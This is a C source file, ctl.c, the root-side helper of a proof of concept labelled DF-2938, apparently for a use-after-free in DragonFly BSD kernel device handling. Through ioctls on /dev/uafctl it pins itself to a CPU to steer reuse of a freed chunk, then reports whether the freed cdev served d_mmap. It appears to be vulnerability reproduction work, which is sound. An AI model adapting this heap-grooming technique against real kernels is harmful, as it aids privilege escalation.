DF-2938 / ctl.c
/* * ctl.c -- root-side helper for the DF-2938 PoC. * usage: ctl swap <cpu> | status */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/usched.h> #include <sys/errno.h> int usched_set(pid_t, int, void *, int); struct uaf_status { void *old_chunk; void *cur_dev; void *last_a_dev; int reused; int gen; int faults; }; #define IOCTL_UAF_SWAP _IOW('u', 1, int) #define IOCTL_UAF_STATUS _IOR('u', 2, struct uaf_status) int main(int argc, char **argv) { struct uaf_status st; int fd, cpu; if (argc < 2) { fprintf(stderr, "usage: ctl swap <cpu>|status\n"); return 1; } fd = open("/dev/uafctl", O_RDWR); if (fd < 0) { perror("open /dev/uafctl"); return 1; } if (!strcmp(argv[1], "swap")) { cpu = argc > 2 ? atoi(argv[2]) : 0; if (cpu >= 0) { /* bind self to cpu so the make_dev() in the ioctl * runs on the cpu whose objcache magazine holds the * freed chunk */ if (usched_set(0, USCHED_SET_CPU, &cpu, sizeof(cpu)) < 0) perror("usched_set (continuing)"); } if (ioctl(fd, IOCTL_UAF_SWAP, &cpu) < 0) { perror("ioctl SWAP"); return 1; } printf("swap: issued (cpu %d)\n", cpu); } else if (!strcmp(argv[1], "status")) { if (ioctl(fd, IOCTL_UAF_STATUS, &st) < 0) { perror("ioctl STATUS"); return 1; } printf("STATUS old_chunk=%p cur_dev=%p last_a_dev=%p " "reused=%d gen=%d faults=%d\n", st.old_chunk, st.cur_dev, st.last_a_dev, st.reused, st.gen, st.faults); printf("VERDICT: d_mmap last served by %s (old_chunk=%p)\n", st.last_a_dev == st.old_chunk ? "THE FREED CDEV (UAF CONFIRMED)" : "live cdev", st.old_chunk); } return 0; } |